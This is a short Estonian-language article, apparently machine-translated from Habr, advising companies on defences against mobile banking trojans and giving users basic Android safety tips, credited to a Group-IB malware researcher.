Oma klientide kaitsmiseks mobiilsete troojalaste ohu eest peavad ettevõtted kasutama terviklikke lahendusi, mis võimaldavad jälgida ja ennetada pahatahtlikku tegevust ilma kasutajaseadmetesse lisatarkvara installimata.

Selleks tuleb mobiilsete troojalaste tuvastamise allkirjameetodeid tugevdada tehnoloogiatega, mis analüüsivad nii kliendi kui ka rakenduse enda käitumist. Kaitse peaks sisaldama ka digitaalse sõrmejäljetehnoloogia abil seadme tuvastamise funktsiooni, mis võimaldab aru saada, millal kontot kasutatakse ebatüüpilisest seadmest ja see on juba petturi kätte sattunud.

Põhimõtteliselt oluline punkt on kanaliteülese analüüsi kättesaadavus, mis võimaldab ettevõtetel kontrollida riske, mis tekivad mitte ainult Internetis, vaid ka mobiilikanalis, näiteks mobiilipanga rakendustes, krüptovaluutadega tehtavates tehingutes ja muudes tehinguid saab teostada.finantstehing.

Ohutusreeglid kasutajatele:

  • ärge installige Android OS-iga mobiilseadmele rakendusi muudest allikatest peale Google Play, pöörake erilist tähelepanu rakenduse nõutavatele õigustele;
  • installige regulaarselt Android OS-i värskendusi;
  • pöörake tähelepanu allalaaditud failide laienditele;
  • ärge külastage kahtlasi ressursse;
  • Ärge klõpsake SMS-sõnumitega saadud linke.

Peaosas Semjon Rogatšova, Grupi IB arvutikohtuekspertiisi labori pahavarauuringute nooremspetsialist.

Allikas: www.habr.com

Lisa kommentaar